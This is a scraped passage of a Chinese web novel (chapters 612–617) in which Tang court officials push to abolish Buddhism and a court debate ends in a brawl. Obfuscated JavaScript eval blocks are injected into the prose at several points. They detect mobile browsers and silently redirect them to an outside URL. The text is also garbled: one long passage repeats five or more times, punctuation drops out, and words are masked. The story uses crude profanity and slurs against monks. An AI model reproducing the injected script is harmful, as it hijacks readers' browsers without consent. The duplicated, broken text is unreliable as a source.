韩仲良闻言咬咬牙道:“大人下官觉得咱们目前的制度存在很大的问题。” “我大唐的佛教太兴盛了按照我们的租庸调制 “可只要持有度牒的僧人以上全免。” “实际上对于大唐的普通百姓来说跨越阶级的最好渠道不是科举而是出家。” “大唐的寺院堪称避税的仙界因为‘无尽藏’的存在还是最大的**头子。更可怕的是寺院已经逐渐成为大唐第一大地主了。” “毕竟只要有农民活不下去干脆把土地献给寺院挂在寺院的名下自己成为寺户。” “如此一来土地还是自己种但土地已经归寺院了朝廷就更收不到税了。” “尚书大人下官认为” “你认为我们要灭佛?”陈衍眼睛大亮。 是哈! 他怎么就忘记了这群秃驴呢? 你麻麻的吻! 在唐代佛教从某种程度上来说是比世家还可恨的东西。 穿越至今他险些都忘了还有这么个东西存在。 杜构倒吸一口凉气“韩大人从前是我小看你了原来你竟然还有这么大的抱负?” “说真的你这个提议我举双手赞成啊我早他娘看那群秃驴不爽了狗屁的放下屠刀、立地成佛。” “合着犯了罪剃个头就能全免了?” 马周深以为然:“确实如此韩侍郎英明啊只是.这件事做起来恐怕不容易!” “怕什么连韦家我们都干了还怕些个秃驴?”杜构振振有词:“要我说干了!” 几人你一言我一语说得那叫一个兴奋。 只有韩仲良都快哭出来了。 不是? 我什么时候说要灭佛了? 你们别搞行不行啊? “.” ps:各位彦祖、亦菲新年快乐啊! 其实我想了蛮多祝福语的但感觉都太虚假了所以.就祝大家新的一年暴富吧!!! 自始至终没有跟大家求过礼物但这方面实在太差了点能否拜托大家求一点小礼物谢谢大家了 第613章 长安.....天气变暖了 “不是,诸位爷,我可没这个意思,你们千万别乱说啊。” 韩仲良急了,忙解释道:“你们想想如今大唐的寺庙,咱们对其的制度是不是太过优待了?” “天下间,不知道多少人用出家来**,而寺庙享受着天下人的信仰,干的却全是鸡鸣狗盗的事” “对啊。”陈衍重重点头,“所以我们理解韩侍郎的想法啊,灭佛嘛,我是举双手双脚赞成的。” “既然你有如此想法,明日上朝,韩侍郎你什么都不用管,直接跟陛下提出此事,本官保证你一旦开团,我必然带着户部上上下下开团秒跟!” “实在不行,彼其娘的,我回头就去找我那几个伯伯,把武将也都给拉上,再去说服杜如晦等几位宰相。” 韩仲良:“.” 怎么特么还是灭佛? 我怎么就说不清楚了呢? “韩大人!”杜构面色郑重道:“韩大**义,在下属实佩服。” “话不用说了,只要你开个头,谁不跟谁是孙子。” 房遗直憋着笑道:“韩大人,下官也一定跟上。” “别的不说,在这方面,我们一定不拖你的后腿,谁敢顶你,我第一个帮你骂回去!” 韩仲良:??? “不是,我.” 他正想开口说一下,自己不是想要灭佛,是想提议弄出一个专门针对寺庙的制度,避免他们继续钻空子,寺庙接着放**啊。 可这次话还没说完,又被马周拍着肩膀答应了:“哎,韩侍郎,什么都不必再说了,我们懂你。” “大人也发话了,只要你开个头,我们绝对跟上,整个户部联名上奏,谁都不敢忽视。” “如果再加上诸多国公大人、武将、宰相们,依我看,此事能成的概率不小。” “这样.咱们现在立刻去派人查一下这些寺庙干的肮脏事,明天一起拿出来,彼其娘的,说实话,我也早看那群秃驴不爽了。” 杜构:“韩大人高啊!” 房遗直:“韩 大人又高又顶啊!” 陈衍当即拍板:“很好既然大家都同意此事就这么决定下来!” “你们先回去我现在立刻去联系人是时候对这帮秃驴下手了!” 说完陈衍甚至都没给韩仲良说话的机会直接挥手让他们离开。 韩仲良欲哭无泪很想解释两句却被马周拉着走了。 待众人离开陈衍眼里浮现出一丝丝笑意。 韩仲良从尚书厅出来真的要哭出来了。 灭佛啊这种事是可以随便说的吗? 一个搞不好自己是要背负千古骂名的啊。 “马侍郎你们真的不明白我的意思吗?我真的没有想灭佛啊。” “我知道我们都知道。”马周被逗乐了一个劲地点着头。 “你们知道?”韩仲良惊愕扭头看了看一脸了然的杜构和马周眼珠子转动一时间有些懵。 “不是既然你们知道为什么满口说什么灭佛灭佛啊?” “这佛是那么好灭的吗?” 马周笑笑:“韩侍郎啊 韩仲良人都麻了“我需要明白什么啊?” “难不成真的让我明天说要灭佛?” 马周不置可否:“韩大人大人已经决定下来了咱们户部上下都支持你全部都拍板了。” “说真的我就没见户部如此上下一心过可见韩大人你的想法之高。” “放心.明日你只管开团便好其他的都交给大人。” “我”韩仲良正欲开口忽然看见陈衍急急忙忙地从他们身边经过还跟他们打了声招呼。 “你们记得按照我的安排去调查一下哈速度要快我现在去联系人。” “是时候展现一下小爷的人脉了。” “大人!”韩仲良慌了伸手叫了一声可陈衍脚步丝毫没停下来径直走了出去。 “大人啊!” “咱们要不再商量商量?” “大人!?” 眼看着陈衍的背影消失在转角,韩仲良的心彻底**。 不是开玩笑啊?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是吗?那可能是我感觉错了吧。” “.” 第614章 韩仲良,真狠人也 翌日清晨,天边才多出了一丝亮色。 满朝文武已经汇聚在太极宫前,等待着常朝开始。 与原先的风轻云淡不同,今日的韩仲良显得很是紧张,满脸苦色。 昨日回去,他其实也渐渐明白了陈衍的打算。 可这只是他的猜测,并不能确定,如果猜错了,那后果可就大了啊。 只是,看着旁边的马周跟杜构他们隐隐透露出来的期待之色,韩仲良内心那叫一个无语。 你们是有乐子看了,可待会我就要遭了啊。 “子安,今日怕是又热闹得很啊。” 另一边,杜如晦揣着手,摇头感叹道。 陈衍咧着嘴:“可不嘛?蔡国公,你就瞧好吧,今日的朝会,一定会让你很惊喜的。” “嗯?”杜如晦微愣,“不就是洛阳水患吗?以往出现这种事,都是你们户部、工部等人比较麻烦。” “昨天陛下还说,你户部打算出一部分钱,可我怎么看你好像很兴奋啊。” “能不兴奋吗?”陈衍嘎嘎乐着,“你瞧好吧,待会看我们表演就好了。” 杜如晦眨眨眼,扭头看了看旁边同样疑惑的房玄龄。 两人面面相觑,都搞不懂陈衍又在卖什么关子了。 魏征插话道:“你该不会又要抓着谁整吧?洛阳那边是很不对劲,不过在这个节骨眼,你还是别整事了。” “毕竟出兵一事刚落定下来,洛阳就爆发了水患,你户部又需要支出一大笔物资,消停点吧。” “就是因为如此,所以才要搞事啊。”陈衍理所当然地点头,“户部都特么没钱了,如果这样的灾难再来几次,谁顶得住?” “国库一年的收入就那么点,我不想想办法,那咋整呢?” “魏公啊,你别担心,我有分寸的。” 几位大臣那叫一个头疼,如果不出意外的话,陈衍今天肯定是要搞事的。 起初他们还想劝劝,可一听到后面那句话,又把劝解的话重新咽了回去。 话好像没错。 陈衍是有分寸的人,不至于在这个节骨眼搞什么大事,想来应该就是乐子吧,或者想苦一苦李世民。 从前他不都这样干的吗? 想到这点,大家顿时就放心了。 苦李世民就苦李世民吧。 反正他是皇帝,不苦他苦谁? 不多时,朝会召开,文武百官进殿。 “臣等,拜见陛下。 “众爱卿平身。 按例行礼之后,李世民端坐在自己的皇位上,脸色算不上好看,有些发冷:“有事启奏,无事退朝。 昨天,他已经安排好了,今日的主题,必然是有关洛阳水患的。 不出意外的话,接下来不是陈衍上奏,那就是杜如晦他们了。 然而,让李世民没想到的是,第一个站出来的是户部的韩仲良。 “陛下,臣有事要奏! 李世民微怔,以为这是陈衍的安排,故此没多想,直接道:“韩侍郎但说无妨。 “是这样,陛下。韩仲良深吸一口气,在杜构等人愈发明亮的目光中,硬着头皮道: “今日,臣发现了大唐税收制度上的一个巨大空子,臣认为此事甚大,特上奏陛下。 税收制度上的巨大空子? 韩仲良的话音落下,除了户部的人之外,其他文武百官都愣住了,连李世民都不例外。 不是关于洛阳水患? 李世民不解地瞥了陈衍一眼,看这小子一副兴奋的表情,就知道肯定是他授意的。 毕竟,如果税收制度上有什么空子,韩仲良最先禀报的,应该是陈衍这个户部尚书才对。 “你说说看,什么空子? 韩仲良低声道:“臣发现,我大唐实行均田制、租庸调制,成年男子要交粮、服役。 “但只要出家为僧,就能免税免役。 “于是大量人口剃度,他们不是真的信佛,而是为了避税。这样的情况,已经愈发严重, 长久下去,朝廷少了一大笔收入,兵役徭役也没人顶上去。 “而且,寺庙还兼并土地,养肥自己。他们不自己种地,靠着挂在自己名下百姓的田地收租,坐收渔利。 “朝廷查田查税, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200087|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寺庙还能拿‘福田’、‘功德田’的名目赖着不交。 “最可恨的是,他们所谓的‘无尽藏’,其实就是天下最大的**,不知道害惨了天下多少百姓。 “现如今,大唐僧侣十数万,臣敢断定,其中九成九都不是信佛之人,他们表面上普度众生,讲经讲佛,实则只是为了避税,打着佛教的旗号混吃混喝,背地里鸡鸣狗盗,鱼肉百姓! 一席话出口,满朝皆惊。 很多人看向韩仲良的目光已经带上了恶意,而同样有很多人,心里已经开始炽热了起来。 在武德、贞观初年的时候,很多大臣们就联名上奏过这件事了,甚至连李渊都想反佛。 曾下诏沙汰僧尼,只是还没来得及执行,玄武门之变就发生了,李世民即位后搁置了此诏。 而贞观初年提起反佛,又被萧瑀这个坚定信佛之人阻拦,最终不了了之。 但是这一次,让这些想反佛的人,看到了成功的希望。 因为提出此事的人是韩仲良啊! 韩仲良是谁的人? 陈衍啊! 陈衍又是谁的人? 李世民啊! 这里面,是不是有李世民授意? 陛下会不会也已经看不下去了? 韩仲良还在继续说:“陛下,截至目前,大唐僧侣已达二十万,而且这个数字还在飞速攀升,有着急速扩大的趋势! “臣认为,必须杜绝此种现象出现了! 李世民嘴角抽搐,淡淡扫了眼跃跃欲试的陈衍,无奈道:“韩侍郎认为该如何呢? 韩仲良一咬牙,豁出去了。 “陛下!臣认为,应当灭佛!!! “. 一句灭佛回荡在大殿内,不管是想喷韩仲良的人,还是想支持韩仲良的人,全部一下子**懵了。 脑瓜子嗡嗡的。 不是,哥们儿? 你说你要灭什么玩意儿? 不仅文武百官,杜如晦等一众大臣,无论支持反佛的还是不支持反佛的,在这一刻,眼神都清澈了。 韩仲良! 真狠人也! “. 第615章 谁今天敢再反对,老子第一个锤他! “你你说你要干什么?” 李世民都失声了。 特么的! 灭佛,亏你奶奶的说得出口。 这一定是陈衍那小鳖犊子的主意吧? 一定是吧? 韩仲良沉声道:“陛下,臣建议.灭佛!” 好样的老韩! 陈衍握了握拳。 没丢份啊! “韩仲良!”萧瑀厉声道:“你知道你在说什么吗?灭佛?这种话亏你也说得出口?” “你难道就不怕遭报应吗?” “敢问萧大人,下官能遭什么报应?”韩仲良彻底豁出去了,“佛门天天把慈悲挂在嘴边,口口声声普度众生,可背地里干的那些肮脏事,哪一件对得起慈悲两个字?” “要我说,佛门就是天下第一大毒瘤!” “他们占着最好的地,收着最多的香火钱,百姓吃不上饭他们看不见,可百姓借他们的**还不上,他们倒是比谁都积极!” “萧大人,我韩仲良看不下去这些,上奏陛下灭佛,有什么错?” “难不成,你要我眼睁睁看着这帮人一边**避税,一边放贷坑害百姓,还得夸他们一句慈悲为怀?” “你”萧瑀被怼得手指头都在抖,脸上一阵红一阵白,“荒唐!简直荒唐透顶!” “百姓们受到佛光普照,自愿皈依佛门,这难道有什么问题吗?” “没有谁逼着他们!” “韩仲良,我劝你慎言,须知举头三尺有神明,你若继续这样下去,不光你要遭报应,你今后的子子孙孙都得遭报应!” 陈衍眼睛一瞪,“放**狗屁!” “彼其娘的,依小爷看,最该遭报应的就**是你!” “韩仲良哪里说得不对了?” “草你祖宗的!” “寺庙、佛门没有兼并百姓的土地?佛门没有一次次的避税、**?寺庙没有一边享受大家的香火,一边干着坑害百姓的事?他们的**又致 使了多少人家破人亡? “吾之艹也! “小爷给你脸,叫你一句萧大人,不给你脸,你就是个老菜梆子! “真把自己当个东西了?还敢说小爷的人遭报应?我去**吧! “就你这种包庇一群表面慈悲,实则与土匪无异的人,死后就该下十八层地狱,受天下最痛苦的折磨。 “说得好!杜构拍案而起:“去**狗屁佛门,一天天喊着我佛慈悲,我佛慈悲,我佛慈悲在哪里啊? “是贞观元年的天灾?是贞观二年的蝗灾?是贞观三年的人祸,还是之后大旱啊? 杜构怒道:“贞观三年的时候,我都捐了钱,开了施粥棚接济百姓,你所谓怜悯众生的佛到底在哪里? “它干了什么? “你你们! “你什么你!马周秒跟,直接起身道:“难道他们说错了?佛门不是这样的吗? “我真的就搞不明白了,特别是什么放下屠刀立地成佛! “我成**佛! “是不是我今天杀了人,**了他妻子,活埋了他父母子女,然后我放下屠刀,我就能立地成佛,往日的罪恶全部消散一空啊? “萧大人,你告诉我是不是啊!? 房遗直缓缓起身,闭着眼,做了一个佛门祈祷的手势:“阿弥陀佛,既然佛门怜悯众生,想必现在佛门满门恶徒,只知道坑害百姓,那也一定会原谅我们灭佛的吧? “毕竟我佛慈悲啊阿弥陀佛! 此话一出,满朝文武嘴角直抽,不少人都憋不住哈哈大笑起来。 程咬金笑得最大声:“说得好! “他奶奶的,你们整天说我家的牛****,为什么佛门说着什么六根清净,但天天烹羊宰牛你们就不管了呢? “他们不是六根清净吗?那为什么还有那么多佛门人娶妻生子?大口吃肉,大口喝酒? “陈衍!!! 萧瑀怒斥道:“你们户部今日是什么意思?是想引起天下大乱吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200088|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “整个大唐,你知道有多少人信佛吗?连当今长孙皇后都是佛门信徒,结果你身为长孙皇后的女婿,却带着整个户部喊着要灭佛! “你这是不孝,更是对佛门的不忠,陷天下于不义! “我孝你奶奶!!!陈衍也火了,一脚踢翻面前的案几,“对!你说的没错! “韩仲良就是我指使的,灭佛就是我的意思! “因为我看到了佛门的危害,看到了他们慈悲面目之下的丑陋!我不是想引起天下大乱,我这是在拨乱反正! “天下信佛之人再多又能如何? “大不了将佛门查个底朝天,用‘大唐民报’将佛门干的肮脏事全部刊登上去,我倒要看看,天下人会不会因此反对我灭佛! “如果有,那么一切因果,我陈衍一个人扛了! “别说什么不忠不孝,哪怕是不仁不义,从今往后要被所有人指着鼻子骂,死后都要被后人浇筑铜像跪在天下人面前,我陈衍全认了! 就在陈衍话音落下那一刻,武德、贞观初年的反佛代表人傅奕毫不犹豫站了出来:“算我一个! “陈尚书、韩侍郎等人说得对,贞观初的时候,佛门人数才十数万,到了现在,已经扩大到二十多万了。 “这是多么可怕的一个数字? “更可怕的是,它还在不断地飞速上升,再继续这样下去,我大唐,就要变成佛国了! 众多想反佛的官员见户部全部梭哈压上,开团灭佛,而曾经的反佛第一人傅奕同样站了出来。 他们也坐不住了,纷纷开口附和。 “我支持,灭佛,必须灭佛!! “我附议 “附议. “不可!孙伏伽坚定道:“灭佛一事,绝对不可! “我不可你娘呢?陈衍指着他鼻子骂:“别特么逼老子抽你,做好你自己的事就得了。 “你知道佛门现在已经开始严重影响我大唐税收了吗?谁今天敢再开口说一句反对,老子第一个锤他! “. 第616章 程咬金:打他四十大板! 孙伏伽人都傻了。 自己不过只是说了一句反对,怎么开口就问候上娘亲了? 我特么还没说反对的原因呢。 这可给孙伏伽气坏了,咬牙切齿道:“粗鄙!你粗鄙!” “亏你还是当今户部尚书,是读书人,竟然当着众多文武百官的面,当着当今圣上的面,一口一个娘,你不觉得羞愧吗?” “我羞愧什么?”陈衍回怼道:“我特么是武将儿子啊,我羞愧什么?” “别跟我扯什么读书人,老子读书,就是为了能心平气和地跟你们这群傻鸟讲道理!” “老子学武,就是为了让你们这群傻鸟能心平气和地跟我讲道理。” “还羞愧,我需要羞愧吗?” “要我说,你就该谢谢我,我没特么打你就不错了!” “哈哈哈哈哈!”尉迟恭听到这话,再也憋不住了,哈哈大乐起来。 “好样的,大侄子!” “没丢份!” 孙伏伽强忍怒气道:“我不是佛门信徒,我之所以反对灭佛,是因为此事风险太大,没必要上来就做这么绝!” “我知道国库收入少,你们户部不容易,佛门确实影响巨大,特别是对于百姓。” “我想说的是,我们可以先制定一些管理寺庙的制度,不让他们继续猖獗下去,今后再慢慢收拾他们。” “一上来就灭佛,太容易出事了!” “.哦~”陈衍恍然大悟,脸上露出了温和的笑容,“那你早说嘛,你瞧瞧这事整的。” “这不误伤友军了吗?” “孙大人,误会啊,都是误会!” 我误会你大爷! 孙伏伽额头青筋绷起,很想跟陈衍吵上一会儿,可一想到陈衍的嘴皮子,还是算了。 得了,我一大把年纪了,跟一个二十岁的年轻人一般见识什么? “此事绝对不行!”萧瑀深吸一口气,断然拒绝道:“诸世苦难,百姓需要一个精神寄托,佛门是最好的选择。 ” “如果连佛门都不存在了那么百姓的希望应该放在谁身上?” 听到这话陈衍愣了一下深深看了眼萧瑀不说话了。 其他人看向萧瑀的神色也颇为古怪。 萧瑀当即反应了过来自己的话好像有些 “萧大人你的意思是今后百姓的精神、希望都需要放在佛门身上而不是朝廷上吗?” 李世民不知何时已经站了起来面无表情地注视着他。 “陛下臣没有这个意思.”萧瑀心里有些慌而后深深拜道:“臣的意思是百姓不能失去了信仰对于一些美好的想象需要有一个寄托之地。” “就好比每年元宵大家看花灯、许愿图的也是个念想一个盼头.” “得了吧!”陈衍不屑道:“那我大唐还有道门呢为什么不寄托在道门身上?” “人家道门起码是真的与世无争不争香火、不图利益道义也不差百姓对于美好的向往寄托在道门身上不行吗?为什么要寄托在佛门这种肮脏的地方?” “还是说就因为你萧瑀信佛 “你”萧瑀只觉得胸闷憋了好一会儿才憋出来一句话:“你说的那些只是个例并不能代表整个佛门。” “佛门的真大师同样很多!” “有什么意义?”陈衍嗤笑:“当雪崩降临的时候没有一片雪花是无辜的。” “自古以来一人**株连九族大秦当时还连坐呢。” “我管你什么真假大师灭再说!” “好好好!”傅奕兴奋不已“好一个当雪崩降临的时候没有一片雪花是无辜的!” “说得好!” “依我看这些老秃驴就该死!” “灭!” 他一说完立刻又遭到了信佛官员的强烈反对又立马迎来了想反佛之人的怒怼。 朝堂之上顿时吵得不可开交。 李世民又重新坐了下来淡淡扫了眼两边的人。 反佛自然是以陈衍、傅奕为首。而反对反佛那自然是萧瑀这个坚定的信佛者了。 说真的李世民自己也很想反佛只是从前一直没什么好机会。 现在天下太平这个时候提出来倒也合适。 所以李世民一句话没说就眼睁睁看着两边的人吵得不可开交。 因为他知道只要陈衍还站着那指定是输不了的。 然而让李世民没想到的是事情的发展有些出乎他的预料。 “彼其娘的萧瑀你真当小爷之前说的话是放屁不成?你若继续反对额特么锤死你!” “陈衍!!你不要自误!” “我特么”陈衍倔脾气上来了从怀里掏出一块大板砖 “啊!!!” 萧瑀遭受重击立刻倒在了地上发出了一声痛呼。 陈衍依然没放过他骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理!” “老菜梆子真给你脸了!” 陈衍一开团杜构和房遗直毫不犹豫就跟了都是年轻人谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头朝堂之上顿时乱作一团打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎!” “陛下你看看你看看咱们渭国公、陈尚书民间的白虎圣使陈载酒在干什么?” “当朝殴打朝廷命官啊!” “天理何在?法理何在?朝廷的威严何在?” “陛下臣要参他一本!” “哦吼吼!”尉迟恭比程咬金激动多了“陛下啊臣也要参渭国公一本!” “不仅当朝殴打朝廷命官还带领户部官员跟其他官员斗殴!” “渭国公罪孽深重臣恳请陛下将渭国公严惩不贷。” “打他四十大板啊陛下!” 陈衍:“.” 李世民:“.” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李世民又重新坐了下来,淡淡扫了眼两边的人。 反佛,自然是以陈衍、傅奕为首。而反对反佛,那自然是萧瑀这个坚定的信佛者了。 说真的,李世民自己也很想反佛,只是从前一直没什么好机会。 现在天下太平,这个时候提出来倒也合适。 所以,李世民一句话没说,就眼睁睁看着两边的人吵得不可开交。 因为他知道,只要陈衍还站着,那指定是输不了的。 然而,让李世民没想到的是,事情的发展有些出乎他的预料。 “彼其娘的萧瑀,你真当小爷之前说的话是放屁不成?你若继续反对,额特么锤死你!” “陈衍!!你不要自误!” “我特么”陈衍倔脾气上来了,从怀里掏出一块大板砖,拔腿冲过去就拍在了萧瑀头上。 “啊!!!” 萧瑀遭受重击,立刻倒在了地上,发出了一声痛呼。 陈衍依然没放过他,骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理!” “老菜梆子,真给你脸了!” 陈衍一开团,杜构和房遗直毫不犹豫就跟了,都是年轻人,谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头,朝堂之上顿时乱作一团,打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架,打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎!” “陛下,你看看,你看看咱们渭国公、陈尚书,民间的白虎圣使,陈载酒在干什么?” “当朝殴打朝廷命官啊!” “天理何在?法理何在?朝廷的威严何在?” “陛下,臣要参他一本!” “哦吼吼!”尉迟恭比程咬金激动多了,“陛下啊,臣也要参渭国公一本!” “不仅当朝殴打朝廷命官,还带领户部官员跟其他官员斗殴!” “渭国公罪孽深重,臣恳请陛下将渭国公严惩不贷。” “打他四十大板啊,陛下!” 陈衍:“.” 李世民:“.” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 李世民又重新坐了下来,淡淡扫了眼两边的人。 反佛,自然是以陈衍、傅奕为首。而反对反佛,那自然是萧瑀这个坚定的信佛者了。 说真的,李世民自己也很想反佛,只是从前一直没什么好机会。 现在天下太平,这个时候提出来倒也合适。 所以,李世民一句话没说,就眼睁睁看着两边的人吵得不可开交。 因为他知道,只要陈衍还站着,那指定是输不了的。 然而,让李世民没想到的是,事情的发展有些出乎他的预料。 “彼其娘的萧瑀,你真当小爷之前说的话是放屁不成?你若继续反对,额特么锤死你! “陈衍!!你不要自误! “我特么陈衍倔脾气上来了,从怀里掏出一块大板砖,拔腿冲过去就拍在了萧瑀头上。 “啊!!! 萧瑀遭受重击,立刻倒在了地上,发出了一声痛呼。 陈衍依然没放过他,骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理! “老菜梆子,真给你脸了! 陈衍一开团,杜构和房遗直毫不犹豫就跟了,都是年轻人,谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头,朝堂之上顿时乱作一团,打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架,打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎! “陛下,你看看,你看看咱们渭国公、陈尚书,民间的白虎圣使,陈载酒在干什么? “当朝殴打朝廷命官啊! “天理何在?法理何在?朝廷的威严何在? “陛下,臣要参他一本! “哦吼吼!尉迟恭比程咬金激动多了,“陛下啊,臣也要参渭国公一本! “不仅当朝殴打朝廷命官,还带领户部官员跟其他官员斗殴! “渭国公罪孽深重,臣恳请陛下将渭国公严惩不贷。 “打他四十大板啊,陛下! 陈衍:“. 李世民:“. “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 李世民又重新坐了下来,淡淡扫了眼两边的人。 反佛,自然是以陈衍、傅奕为首。而反对反佛,那自然是萧瑀这个坚定的信佛者了。 说真的,李世民自己也很想反佛,只是从前一直没什么好机会。 现在天下太平,这个时候提出来倒也合适。 所以,李世民一句话没说,就眼睁睁看着两边的人吵得不可开交。 因为他知道,只要陈衍还站着,那指定是输不了的。 然而,让李世民没想到的是,事情的发展有些出乎他的预料。 “彼其娘的萧瑀,你真当小爷之前说的话是放屁不成?你若继续反对,额特么锤死你!” “陈衍!!你不要自误!” “我特么”陈衍倔脾气上来了,从怀里掏出一块大板砖,拔腿冲过去就拍在了萧瑀头上。 “啊!!!” 萧瑀遭受重击,立刻倒在了地上,发出了一声痛呼。 陈衍依然没放过他,骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理!” “老菜梆子,真给你脸了!” 陈衍一开团,杜构和房遗直毫不犹豫就跟了,都是年轻人,谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头,朝堂之上顿时乱作一团,打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架,打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎!” “陛下,你看看,你看看咱们渭国公、陈尚书,民间的白虎圣使,陈载酒在干什么?” “当朝殴打朝廷命官啊!” “天理何在?法理何在?朝廷的威严何在?” “陛下,臣要参他一本!” “哦吼吼!”尉迟恭比程咬金激动多了,“陛下啊,臣也要参渭国公一本!” “不仅当朝殴打朝廷命官,还带领户部官员跟其他官员斗殴!” “渭国公罪孽深重,臣恳请陛下将渭国公严惩不贷。” “打他四十大板啊,陛下!” 陈衍:“.” 李世民:“.” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李世民又重新坐了下来,淡淡扫了眼两边的人。 反佛,自然是以陈衍、傅奕为首。而反对反佛,那自然是萧瑀这个坚定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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反佛,自然是以陈衍、傅奕为首。而反对反佛,那自然是萧瑀这个坚定的信佛者了。 说真的,李世民自己也很想反佛,只是从前一直没什么好机会。 现在天下太平,这个时候提出来倒也合适。 所以,李世民一句话没说,就眼睁睁看着两边的人吵得不可开交。 因为他知道,只要陈衍还站着,那指定是输不了的。 然而,让李世民没想到的是,事情的发展有些出乎他的预料。 “彼其娘的萧瑀,你真当小爷之前说的话是放屁不成?你若继续反对,额特么锤死你!” “陈衍!!你不要自误!” “我特么”陈衍倔脾气上来了,从怀里掏出一块大板砖,拔腿冲过去就拍在了萧瑀头上。 “啊!!!” 萧瑀遭受重击,立刻倒在了地上,发出了一声痛呼。 陈衍依然没放过他,骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理!” “老菜梆子,真给你脸了!” 陈衍一开团,杜构和房遗直毫不犹豫就跟了,都是年轻人,谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头,朝堂之上顿时乱作一团,打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架,打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎!” “陛下,你看看,你看看咱们渭国公、陈尚书,民间的白虎圣使,陈载酒在干什么?” “当朝殴打朝廷命官啊!” “天理何在?法理何在?朝廷的威严何在?” “陛下,臣要参他一本!” “哦吼吼!”尉迟恭比程咬金激动多了,“陛下啊,臣也要参渭国公一本!” “不仅当朝殴打朝廷命官,还带领户部官员跟其他官员斗殴!” “渭国公罪孽深重,臣恳请陛下将渭国公严惩不贷。” “打他四十大板啊,陛下!” 陈衍:“.” 李世民:“.” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 李世民又重新坐了下来淡淡扫了眼两边的人。 反佛自然是以陈衍、傅奕为首。而反对反佛那自然是萧瑀这个坚定的信佛者了。 说真的李世民自己也很想反佛只是从前一直没什么好机会。 现在天下太平这个时候提出来倒也合适。 所以李世民一句话没说就眼睁睁看着两边的人吵得不可开交。 因为他知道只要陈衍还站着那指定是输不了的。 然而让李世民没想到的是事情的发展有些出乎他的预料。 “彼其娘的萧瑀你真当小爷之前说的话是放屁不成?你若继续反对额特么锤死你!” “陈衍!!你不要自误!” “我特么”陈衍倔脾气上来了从怀里掏出一块大板砖拔腿冲过去就拍在了萧瑀头上。 “啊!!!” 萧瑀遭受重击立刻倒在了地上 陈衍依然没放过他骑在他身上就揍:“喜欢讲理是吧?小爷今天就好好跟你讲讲理!” “老菜梆子真给你脸了!” 陈衍一开团杜构和房遗直毫不犹豫就跟了都是年轻人谁不气盛啊? 他们上去就给反对反佛的官员一脚。 由于他们开了个头朝堂之上顿时乱作一团打了起来。 李世民痛苦地闭上眼。 你们吵架就吵架打什么架啊? 正当他想呵斥制止的时候。 程咬金无比兴奋地指着陈衍:“哎哎哎!” “陛下你看看你看看咱们渭国公、陈尚书民间的白虎圣使陈载酒在干什么?” “当朝殴打朝廷命官啊!” “天理何在?法理何在?朝廷的威严何在?” “陛下臣要参他一本!” “哦吼吼!”尉迟恭比程咬金激动多了“陛下啊臣也要参渭国公一本!” “不仅当朝殴打朝廷命官还带领户部官员跟其他官员斗殴!” “渭国公罪孽深重臣恳请陛下将渭国公严惩不贷。” “打他四十大板啊陛下!” 陈衍:“.” 李世民:“.” “.” 你的朋友正在书荒,快去帮帮他吧 第617章 我陈衍就是要干他 “够啦!!!” 